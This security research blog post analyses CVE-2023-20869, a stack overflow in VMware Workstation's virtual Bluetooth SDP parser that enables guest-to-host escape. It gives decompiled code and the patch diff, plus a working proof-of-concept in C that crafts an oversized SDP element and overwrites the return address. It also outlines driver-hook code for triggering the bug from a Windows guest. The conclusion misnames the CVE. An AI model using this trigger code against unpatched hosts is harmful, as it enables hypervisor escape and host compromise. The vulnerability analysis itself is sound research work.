Chaining N-days to Compromise All: Part 5 — VMware Workstation Guest-to-Host Escape
This blog post is the fifth series about the vulnerabilities used in our 1-day full chain exploit we demonstrated on X. In this blog post, we will present how we execute arbitrary code on the host OS from the guest.
The vulnerability is CVE-2023–20869 demonstrated by @starlabs_sg in Pwn2own 2023 Vancouver. This vulnerability has been patched in Aril and Fermium-252, our threat intelligence service, has both a PoC and an exploit of this vulnerability since June 2023.
Please note that most of the explanations are based on the VMware-workstation-full-17.0.1-21139696.exe
installation file, and most of the symbols are identified by reversing, so they may be incorrect.
Handling Service Discovery Protocol on Virtual Bluetooth device
Bluetooth Service Discovery Protocol (SDP) is designed to help devices discover each other’s services and determine how to access them. It’s like looking up a business in a directory to find out what they offer and how to contact them. It means finding out what capabilities a device has, such as whether it can handle file transfers, audio streaming or have a particular type of sensor.
SDP has server-client model, as shown in Figure 1, where a client sends a SDP request then the SDP server and applications running on the Bluetooth device process the request and return a SDP response.
When processing SDP packets, a VBluetooth device acts as a proxy, relaying the Bluetooth communication between the guest and the host. From VMware Workstation perspective, the SDP client-server interaction between the guest and the Bluetooth device is shown in Figure 2.
To relay between the Bluetooth device on the guest and the Bluetooth receiver on the host, VMware includes an implementation that processes SDP packets received from the SDP client and server.
Root cause of CVE-2023–20869
When sending SDP packets from the guest to a Bluetooth device, the request packets are processed by vmware-vmx process on the VMware host.
First, the vmware-vmx calls process_request
function, where it internally calls RBuf_CopyOutHeader
function to read SDP packets sent by a guest. SDP packets start with a Protocol Data Unit (PDU) of 5 bytes and a PDU is represented by sdp_pdu_hdr_t
structure. The pdu_id
field indicates the type of SDP packet, and vmware_vmx handles SDP_SVC_ATTR_REQ(0x04)
and SDP_SVC_SEARCH_ATTR_REQ(0x06)
packets. ([0]
)
typedef struct {
uint8_t pdu_id;
uint16_t tid;
uint16_t plen;
} sdp_pdu_hdr_t;
void __fastcall process_request(struct_a1_1 *req) // sub_14086BCE0
{
// ...
sdp_pdu_hdr_t req_pdu_hdr; // [rsp+28h] [rbp-30h] BYREF
struct_a1_1 *ref_pdu_data; // [rsp+30h] [rbp-28h] BYREF
if ( req->field_30 )
{
input = (_QWORD *)req->input;
if ( input )
{
while ( 1 )
{
if ( !(unsigned int)RBuf_Length(input) )
return;
if ( !RBuf_CopyOutHeader((_QWORD *)req->input, (char *)&req_pdu_hdr, 5ui64) )
return;
pdu_data = (struct_a1_1 *)RBuf_CopyOutData(
(_QWORD **)&req->input,
5u,
(unsigned __int16)__ROL2__(req_pdu_hdr.plen, 8));
v4 = pdu_data;
if ( !pdu_data )
return;
opcode = req_pdu_hdr.pdu_id;
tid = req_pdu_hdr.tid;
ref_pdu_data = ref_sdp(pdu_data);
res = 0i64;
if ( opcode == SDP_SVC_SEARCH_REQ )
break;
if ( opcode == SDP_SVC_ATTR_REQ )
{
v7 = sdp_service_attr_req(req, &ref_pdu_data, &res); // <--- [0]
// ...
}
if ( opcode == SDP_SVC_SEARCH_ATTR_REQ )
{
v7 = proc_search_attr_req(req, &ref_pdu_data, &res);
// ...
}
The proc_search_attr_req
function calls the SDPData_ReadElement
and SDPData_ReadRawInt
functions to read the SDP packet data received from the guest. The service class IDs and attribute IDs are stored in sequence type and can be read by calling SDPData_ReadElement(..,SDP_DE_SEQ,..)
.([1])
It then calls sub_14083CB90
function to search for Bluetooth device services by the requested service class IDs and attribute IDs.
__int64 __fastcall proc_search_attr_req(struct_a1_1 *a1, _QWORD *a2, __int64 **a3) // sub_14086C1D0
{
// ...
v6 = (char *)*((_QWORD *)a1->field_20 + 3);
if ( !SDPData_ReadElement(a2, SDP_DE_SEQ, &v20) ) // Service class IDs (sequence)
return 3i64;
if ( !SDPData_ReadRawInt(a2, SDP_DE_INT, &v22, 0i64) || !SDPData_ReadElement(a2, SDP_DE_SEQ, &attrids) ) // <--- [1]
{ //specify the response limit , // Attribute IDs(sequence)
sub_14083BCB0((__int64)&v20);
return 3i64;
}
if ( sdp_getdatasize(a2, &v19) )
{
v8 = v22;
if ( v22 < 0x21 )
v8 = 33i64;
v9 = (struct_a1_1 *)a1->field_30;
v22 = v8 - 32;
v10 = sub_14083CB90(v9, v6, (struct_a1_1 *)v20.data, (struct_a1_1 *)search_list.data);
The sub_14083CB90
function internally calls the sub_14083C7F0
function, which compares the response received from the device with the IDs passed from the proc_search_attr_req
function to find matching services.
In [2]
, it iterates over the service attribute IDs received from the device, looking for services that match the attrids
passed as an argument. In this case it calls SDPData_ReadElement
instead of SDPData_ReadRawInt
to read the SDP_DE_UINT
value. ([3]
)
_WORD *__fastcall sub_14083C7F0(struct_a1_1 *from_dev, char *a2, int a3, struct_a1_1 *attrids)
{
// ...
from_dev_ = ref_sdp(from_dev);
if ( !SDPData_ReadElement(&from_dev_, SDP_DE_SEQ, &element) )// get devices attr information
{
LABEL_9:
unref_sdp(from_dev_);
return 0i64;
}
// ...
data = element.data;
// ...
while ( SDPData_ReadElement(&data, SDP_DE_UINT, &v18) ) // <--- [2]
{
data_low = LOWORD(v18.data);
attrids_ = ref_sdp(attrids);
found = 0;
do
{
if ( !SDPData_ReadElement(&attrids_, SDP_DE_UINT, &attr_id) )// <--- [3]
break;
if ( attr_id.ele_size == 2 )
{
max = attr_id.data;
min = attr_id.data;
}
else
{
if ( attr_id.ele_size != 4 )
break;
min = WORD1(attr_id.data);
max = LOWORD(attr_id.data);
if ( WORD1(attr_id.data) > (unsigned int)LOWORD(attr_id.data) )
break;
}
if ( data_low >= min && data_low <= max )
found = 1;
}
// ...
The SDPData_ReadElement
function reads 1 byte from the data stream to determine the type of data, and reads the following data depending on the type. The first 3 bits represents the size, and if buf & 7 == 6
then it reads 2 more bytes and determines the size. ([4]
). The RBuf_CopyOutHeader
call reads 3 bytes, but the first of these bytes is the same as the previously read byte.
The high-order 5 bits of the first byte (ele_type
) determines the type, and if ele_type
is equal to type_in
, or if type_in
is -1
, the following switch statement is processed. The switch statement reads the data and determines the size based on the type. ([5]
)
char __fastcall SDPData_ReadElement(_QWORD *in_rbuf, int type_in, struct_a3 *ele)
{
// ...
v3 = (_QWORD *)*in_rbuf;
addition_size_desc = 1;
if ( !RBuf_CopyOutHeader((_QWORD *)*in_rbuf, (char *)&buf, 1ui64) )
return 0;
switch ( buf & 7 )
{
case 0:
ele_size = (buf & 0xF8) != 0;
break;
case 1:
ele_size = 2;
break;
// ...
case 6:
addition_size_desc = 3;
if ( !RBuf_CopyOutHeader(v3, (char *)&buf, 3ui64) ) // <--- [4]
return 0;
ele_size = (unsigned __int16)__ROL2__(v21, 8); // &v21 == &(buf + 1)
break;
// ...
}
ele_type = buf >> 3;
if ( !SDPData_Slice((_QWORD **)in_rbuf, addition_size_desc) || type_in != -1 && ele_type != type_in )
return 0;
return 0;
if ( ele_size > (unsigned int)RBuf_Length((_QWORD *)*in_rbuf) )
return 0;
ele->ele_type = ele_type;
ele->ele_size = ele_size;
switch ( ele_type )
{
case SDP_DE_NULL:
_mm_lfence();
return ele_size == 0;
case SDP_DE_UINT:
_mm_lfence();
return SDPData_ReadRawInt(in_rbuf, ele_size, &ele->data, &ele->qword10); // <--- [5]
// ...
case SDP_DE_URL:
_mm_lfence();
ele->data = RBuf_CopyOutData((_QWORD **)in_rbuf, 0, ele_size);
return 1;
// ...
The SDPData_ReadRawInt
function reads len
data from a buffer and converts it to an int value. The parameter buf_in
is the buffer where the guest's SDP request is stored and len
is also determined by the SDP request which can be controlled by an attacker.
char __fastcall SDPData_ReadRawInt(_QWORD **buf_in, unsigned int len, _QWORD *a3, _QWORD *a4)
{
size_t v4; // rdi
char result;
char Src[16]; // [rsp+30h] [rbp-48h] BYREF
// [rsp+40h] == security cookie
v4 = len; // char temp[16]; [rsp+20h]
result = RBuf_CopyOutHeader(*buf_in, Src, len);
if ( result )
{
memcpy(&Src[-v4], Src, v4);
*a3 = 0LL; // decompile error, save int value into *a3
if ( a4 )
*a4 = 0LL; // decompile error, save some data value into *a4
return SDPData_Slice(buf_in, v4);
}
return result;
In general, stack grows downwards (i.e., from high address to low address), so copying v4
-size data into Src[-v4]
may not seem vulnerable. However, the actual memory copying is done within the memcpy
function, thereby properly setting the value of len
, the return address stored on the stack can be overwritten during the memcpy
function, as shown in Figure 3. Also, since the memcpy function does not use its own stack, there is no stack cookie.
The Patch for CVE-2023–20869
The patch was identified by diffing two different versions of VMware Workstation 17.0.1 and 17.0.2.
As a result, exception handling code is added to the SDPData_ReadRawInt
function to return an error if len
is greater than 16
.
char __fastcall SDPData_ReadRawInt(_QWORD **buf_in, unsigned int len, _QWORD *a3, _QWORD *a4) // sub_14083C560
{
__int64 v4; // rbx
char Src[16]; // [rsp+30h] [rbp-48h] BYREF
v4 = len;
+ if ( len > 0x10 )
+ return 0;
_mm_lfence();
if ( !RBuf_CopyOutHeader(*buf_in, Src, len) )
return 0;
_mm_lfence();
memcpy(&Src[-v4], Src, (unsigned int)v4);
*a3 = 0i64;
if ( a4 )
*a4 = 0i64;
return SDPData_Slice(buf_in, v4);
}
Proof of Concept
While there are many different ways to reach the vulnerable SDPData_ReadRawInt
function, this blog describes how the vulnerability can be triggered via the path described in the 'Root Cause' section.
The sub_14083C7F0
function compares the response received from the device with the IDs passed by the guest to find a matching service, so to reach it you need to send a SDP_SVC_SEARCH_ATTR_REQ
request to a working Bluetooth device and receive a response.
SDP communication with Bluetooth devices does not require a pairing, but since not all Bluetooth devices have SDP servers and applications, the address of a device with an active SDP server is required to trigger the vulnerability.
On Linux, we can discover Bluetooth devices using bluetootlctl
command, as shown below.
$ bluetoothctl
Agent registered
[CHG] Controller 70:32:17:B7:0D:FD Pairable: yes
[bluetooth]# scan on
Discovery started
[CHG] Controller 70:32:17:B7:0D:FD Discovering: yes
[NEW] Device 64:7B:CE:21:53:BD Galaxy S20 FE 5Gㅜㅠ
On Linux, we can easily create and send SDP requests using libbluetooth library. Create a L2CAP socket to send SDP requests to, establish a connection, and call the sdp_connect
function to create a SDP session.
bdaddr_t bdaddr = {{0xbd,0x53,0x21,0xce,0x7B,0x64}}; // 64:7B:CE:21:53:BD
uint8_t channel = 0x01;
printf("[+] Connect SDP via L2CAP \n");
int l2cap_sock = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
if (l2cap_sock < 0) {
perror("Failed to create L2CAP socket");
return 1;
}
// Connect l2cap socket
struct sockaddr_l2 l2cap_addr = { 0 };
l2cap_addr.l2_family = AF_BLUETOOTH;
l2cap_addr.l2_psm = htobs(channel);
l2cap_addr.l2_bdaddr = bdaddr;
if (connect(l2cap_sock, (struct sockaddr *)&l2cap_addr, sizeof(l2cap_addr)) < 0) {
perror("Failed to connect to L2CAP socket");
close(l2cap_sock);
return 1;
}
sdp_session_t *session = sdp_connect(BDADDR_ANY, &bdaddr, SDP_RETRY_IF_BUSY);
if (!session) {
perror("Failed to connect to SDP session");
close(l2cap_sock);
return 1;
}
Generate a SDP packet to be sent in a request after connection. To trigger the vulnerability, the pdu_id
value is set to SDP_SVC_SEARCH_ATTR_REQ
, and the service IDs should contain data of type SDP_DE_UINT
with a manipulated length value.
sdp_pdu_hdr_t *reqhdr, *rsphdr;
uint32_t reqsize, rspsize;
reqbuf = malloc(SDP_REQ_BUFFER_SIZE);
rspbuf = malloc(SDP_RSP_BUFFER_SIZE);
if (!reqbuf || !rspbuf) {
goto clean_buf;
}
memset(reqbuf, 0x0, SDP_REQ_BUFFER_SIZE);
memset(rspbuf, 0, SDP_REQ_BUFFER_SIZE);
uint32_t tmp;
uint32_t pos = 0;
reqhdr = (sdp_pdu_hdr_t *) reqbuf;
reqhdr->pdu_id = 6; //SDP_SVC_SEARCH_ATTR_REQ
reqdata = reqbuf + sizeof(sdp_pdu_hdr_t);
//service class IDs (empty)
reqdata[pos++] = 6 | 6<<3;
reqdata[pos++] = 0x00;
reqdata[pos++] = 0x00; // size
// specify the response limit
// int 2
*((unsigned short *)&reqdata[pos]) = htons(65535);
pos += 2;
// attribute id seqence
uint16_t oobsize = 0x90;
reqdata[pos++] = 6 | 6<<3;
*((unsigned short *)&reqdata[pos]) = htons(oobsize+3);
pos+=2;
reqdata[pos++] = 6 /*data_type*/ | 1<<3 /*ele_type*/;
*((unsigned short *)&reqdata[pos]) = htons(oobsize);
pos+=2;
memset(&reqdata[pos], 0x41, oobsize);
pos+=oobsize;
Then send the generated SDP packets over the L2CAP socket. On Ubuntu 21 and above, the Bluetooth driver compatibility does not handle VMware’s VBluetooth devices. For successful testing, we used a guest with Ubuntu 20.04 installed.
If the PoC runs successfully, you can see that the value 0x4141414141414141
is stored in the location pointed to by RSP register before ret
instruction.
VCRUNTIME140!memcpy+0x2fd:
00007ffb`657715ed c3 ret
0:000> dq rsp
00000039`a18fea08 41414141`41414141 41414141`41414141
00000039`a18fea18 41414141`41414141 41414141`41414141
00000039`a18fea28 41414141`41414141 41414141`41414141
00000039`a18fea38 41414141`41414141 41414141`41414141
00000039`a18fea48 41414141`41414141 41414141`41414141
00000039`a18fea58 41414141`41414141 41414141`41414141
00000039`a18fea68 41414141`41414141 41414141`41414141
00000039`a18fea78 41414141`41414141 41414141`41414141
Exploitation on the Windows Guest
As explained in the PoC, the memcpy
function can easily execute system commands by performing ROP because it has no stack cookies and can write enough data to the stack. In this section we will focus on how we achieved the exploit on a Windows guest.
Unlike Linux, Windows does not provide a library like libbluetooth
so you have to write your own device driver code to trigger the vulnerability. However, writing a Bluetooth device driver requires knowledge of Bluetooth and experience in driver development.
To perform the exploit without writing a driver, we patched the code of running Bluetooth device driver on Windows. The bthport.sys
driver is a Bluetooth bus driver for Windows which is used to create and send SDP requests to Bluetooth devices. The SDP_SVC_SEARCH_ATTR_REQ
request is created in bthport!SdpL2cap_SendServiceSearchAttributeRequest
function, and finally the completed SDP packet (v12
) is sent to a device via bthport!SdpL2cap_SendInitialRequestToServer
.
int __fastcall SdpL2cap_SendServiceSearchAttributeRequest(struct _SDP_L2CAP_CONNECTION *a1, struct _IRP *a2)
{
// ...
ServiceSearchTree = SdpInt_CreateServiceSearchTree(
(struct _SdpQueryUuid *)((char *)&v6.MasterIrp->MdlAddress + 4),
Type);
// ...
AttributeSearchTree = SdpInt_CreateAttributeSearchTree(
(struct _SdpAttributeRange *)&v6.MasterIrp[1].ThreadListEntry.Blink + 1,
v7);
v12 = P;
v9 = v11;
if ( v11 < 0 || (v9 = SdpNodeToStream((struct _SDP_NODE *)AttributeSearchTree->RootNode.hdr.Link.Flink), v9 < 0) )
{
if ( v12 )
ExFreePoolWithTag(v12, 0);
v5 = a1;
goto LABEL_18;
}
// ...
return SdpL2cap_SendInitialRequestToServer(a1, a2, v12, 8u, 6u);
}
To manipulate SDP packets before it is passed, we install a hooker on the SdpL2cap_SendInitialRequestToServer
call. The hooker modifies the contents of the SDP packet stored in v12
on the fly to trigger the vulnerability.
After installing the hooker, it is possible to call the WSALookupServiceBegin
and WSALookupServiceNext
APIs to execute the SdpL2cap_SendServiceSearchAttributeRequest
function, and if the installed hooker runs successfully, a crafted SDP will be sent that can be used to execute arbitrary commands.
VOID send_sdp_service_attr() {
// ...
if (WSAStartup(MAKEWORD(2, 2), &m_data) == 0)
protocolInfoSize = sizeof(protocolInfo);
ULONGLONG btAddr = 0x647BCE2153BD; // "64:7B:CE:21:53:BD
SOCKADDR_BTH sa;
memset(&sa, 0, sizeof(sa));
sa.addressFamily = AF_BTH;
sa.btAddr = btAddr;
sa.serviceClassId = RFCOMM_PROTOCOL_UUID;
sa.port = BT_PORT_ANY;
memset(&querySet, 0, sizeof(querySet));
querySet.dwSize = sizeof(querySet);
protocol = L2CAP_PROTOCOL_UUID;
querySet.lpServiceClassId = &protocol;
querySet.dwNameSpace = NS_BTH;
querySet.lpszContext = (LPWSTR)addressAsString;
flags = LUP_FLUSHCACHE | LUP_RETURN_BLOB;
result = WSALookupServiceBegin(&querySet, flags, &hLookup);
if (result == 0) {
while (result == 0) {
bufferLength = sizeof(buffer);
pResults = (WSAQUERYSET*)&buffer;
result = WSALookupServiceNext(hLookup, flags, &bufferLength, pResults);
}
}
WSACleanup();
}
}
More detailed information including PoC & exploit code is in Fermium-252: The Cyber Threat Intelligence Database. If you are interested in Fermium-252 service, contact us at contacts@theori.io.
Conclusion
This post provided the analysis of CVE-2023–36802, which is exploited in our 1-day full chain demo. The next post will cover the exploitation of a vulnerability in the Windows Streaming Service to Windows LPE on Host.